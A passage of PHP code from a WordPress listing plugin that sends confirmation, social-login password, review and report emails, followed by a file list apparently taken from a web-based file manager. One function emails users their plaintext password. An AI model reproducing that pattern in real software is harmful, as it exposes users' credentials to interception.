{ return false; } $this->customerID = $userID; $message = $aThemeOptions['email_confirm_account']; $message = $this->generateReplace($message); $redirectTo = get_permalink($aThemeOptions['confirmation_page']); $confirmationLink = add_query_arg( [ 'action' => 'confirm_account', 'activationKey' => urlencode(User::getField('user_activation_key', $this->customerID)), 'userName' => urlencode($userName) ], $redirectTo ); $message = str_replace( [ '%confirmationLink%', '%confirmLink%', '%userName%' ], [ $confirmationLink, $confirmationLink, $userName ], $message ); $subject = $this->createMailSubject($aThemeOptions, 'email_confirm_account_subject'); wp_mail($this->to(), $subject, $message); } public static function sendPasswordIfSocialLogin($aUserInfo, $socialName) { if (!in_array($socialName, self::$aSocialNetworks)) { return false; } $message = WilokeThemeOptions::getOptionDetail('email_password_content'); if (empty($message)) { return ''; } $subject = WilokeThemeOptions::getOptionDetail('email_password_title'); $message = str_replace( [ '%userName%', '%userPassword%' ], [ $aUserInfo['username'], $aUserInfo['password'] ], $message ); wp_mail($aUserInfo['email'], $subject, stripslashes($message)); } public function sendReviewNotification($reviewID, $parentID, $reviewerID) { $aThemeOptions = $this->getOptions(); $this->customerID = get_post_field('post_author', $parentID); $message = $aThemeOptions['email_review_notification']; $message = $this->generateReplace($message, $parentID); $customerReviewName = User::getField('display_name', $reviewerID); $message = str_replace( [ '%customerReviewName%', '%reviewTitle%' ], [ $customerReviewName, get_the_title($reviewID), ], $message ); $subject = sprintf(esc_html__('%s has left a Review', 'wiloke-listing-tool'), $customerReviewName); wp_mail($this->to(), $subject, $this->cleanContentBeforeSending($message)); } public function sendReportNotificationToAdmin($postID, $reportedID) { $aThemeOptions = $this->getOptions(); $this->customerID = get_post_field('post_author', $postID); $authorReportID = get_post_field('post_author', $reportedID); $customerReport = get_user_by('id', $authorReportID); $message = $aThemeOptions['email_report_notification']; $message = $this->generateReplace($message, $postID); $message = str_replace( ['%reportTitle%', '%customerReportName%'], [get_the_title($reportedID), $customerReport->user_login], $message ); $subject = sprintf( __('%s reported an issue of %s. <a href="%s">Click here</a> to check more details', 'wiloke-listing-tool'), $customerReport->user_login, get_post_field('post_title', $postID), add_query_arg( [ 'action' => 'edit', 'post' => $reportedID ], admin_url('post.php') ) ); wp_mail($this->toAdmin(), $subject, $this->cleanContentBeforeSending($message)); } }
[+]
..
[-] PermalinksController.php
[edit]
[-] MessageController.php
[edit]
[-] SetListingBelongsToPlanID.php
[edit]
[-] BelongsToTags.php
[edit]
[-] PrintAddListingSettings.php
[edit]
[-] InsertGallery.php
[edit]
[-] ViewStatisticController.php
[edit]
[-] TermsAndPolicyController.php
[edit]
[-] AddListingButtonController.php
[edit]
[-] SetSinglePrice.php
[edit]
[-] SetCustomButton.php
[edit]
[-] WooCommerceBookingController.php
[edit]
[-] SetMyPosts.php
[edit]
[-] SetVideo.php
[edit]
[-] Validation.php
[edit]
[-] PrintAddListingFields.php
[edit]
[-] NoticeController.php
[edit]
[-] SharesStatisticController.php
[edit]
[-] TraitAddListingSettings.php
[edit]
[-] SetListingRelationship.php
[edit]
[-] EmailController.php
[edit]
[-] SetMyRoom.php
[edit]
[-] SessionController.php
[edit]
[-] DashboardController.php
[edit]
[-] EventController.php
[edit]
[-] AppleLoginController.php
[edit]
[-] TraitSetEventData.php
[edit]
[-] PayPalController.php
[edit]
[-] TranslationController.php
[edit]
[-] PostController.php
[edit]
[-] DokanController.php
[edit]
[-] TermController.php
[edit]
[-] FavoriteStatisticController.php
[edit]
[-] SetSocialNetworks.php
[edit]
[-] SetCustomGroup.php
[edit]
[-] SetCustomSections.php
[edit]
[-] AuthorPageController.php
[edit]
[-] AddBookingComBannerCreator.php
[edit]
[-] PlanRelationshipController.php
[edit]
[-] ProfileController.php
[edit]
[-] MapListingController.php
[edit]
[-] UserController.php
[edit]
[-] BillingControllers.php
[edit]
[-] InsertAddress.php
[edit]
[-] PaymentStatusController.php
[edit]
[-] BelongsToCategories.php
[edit]
[-] InsertCoverImage.php
[edit]
[-] SetPriceRange.php
[edit]
[-] SetPlanRelationship.php
[edit]
[-] ListingController.php
[edit]
[-] SetGeneral.php
[edit]
[-] GridItemController.php
[edit]
[-] PaymentController.php
[edit]
[+]
TransformAddListingData
[-] ContactFormController.php
[edit]
[-] InsertFeaturedImg.php
[edit]
[-] AddListingController.php
[edit]
[-] BelongsToLocation.php
[edit]
[-] RestaurantMenuController.php
[edit]
[-] AjaxUploadImgController.php
[edit]
[-] NotificationsController.php
[edit]
[-] SingleJsonSkeleton.php
[edit]
[-] GalleryController.php
[edit]
[-] IsMyPaymentID.php
[edit]
[-] InsertImg.php
[edit]
[-] ModalController.php
[edit]
[-] PaymentGatewaysController.php
[edit]
[-] ShareController.php
[edit]
[-] RetrieveController.php
[edit]
[-] ModifyQueryController.php
[edit]
[-] TraitHostedBy.php
[edit]
[-] ChangePlanStatusController.php
[edit]
[-] TaxonomiesControllers.php
[edit]
[-] WebhookController.php
[edit]
[-] SearchFormController.php
[edit]
[-] FreePlanController.php
[edit]
[-] BelongsToCustomTaxonomies.php
[edit]
[-] PromotionController.php
[edit]
[-] RunUpdateDBToLatestVersionController.php
[edit]
[-] UserPlanController.php
[edit]
[-] SetContactInfo.php
[edit]
[-] InsertLogo.php
[edit]
[+]
Retrieve
[+]
Map
[-] VerifyPurchaseCode.php
[edit]
[-] StripeController.php
[edit]
[-] NextBillingPaymentController.php
[edit]
[-] SchemaController.php
[edit]
[-] IconController.php
[edit]
[-] AddMorePhotosVideosController.php
[edit]
[-] SetPostDuration.php
[edit]
[-] GuardController.php
[edit]
[-] ReviewController.php
[edit]
[-] OptimizeScripts.php
[edit]
[-] PaymentMetaController.php
[edit]
[-] GetWilokeToolSettings.php
[edit]
[-] SetCoupon.php
[edit]
[-] CouponController.php
[edit]
[-] AddListingPaymentController.php
[edit]
[-] FacebookLoginController.php
[edit]
[-] SingleController.php
[edit]
[-] BookingComController.php
[edit]
[-] SetGroupData.php
[edit]
[-] InvoiceController.php
[edit]
[-] SetProductsToListing.php
[edit]
[-] ReportController.php
[edit]
[-] PayPalExecuteAddListingPayment.php
[edit]
[-] HandleSubmit.php
[edit]
[-] WooCommerceController.php
[edit]
[-] FollowController.php
[edit]
[-] PrintSidebarItems.php
[edit]
[-] .Controllers.php
[edit]
[-] DirectBankTransferController.php
[edit]
[-] ClaimController.php
[edit]
[-] GetSingleImage.php
[edit]
[-] SetRestaurantMenu.php
[edit]
[-] MergingSettingValues.php
[edit]
[-] GoogleReCaptchaController.php
[edit]
[-] RegisterLoginController.php
[edit]
[-] TagsBelongsToCatController.php
[edit]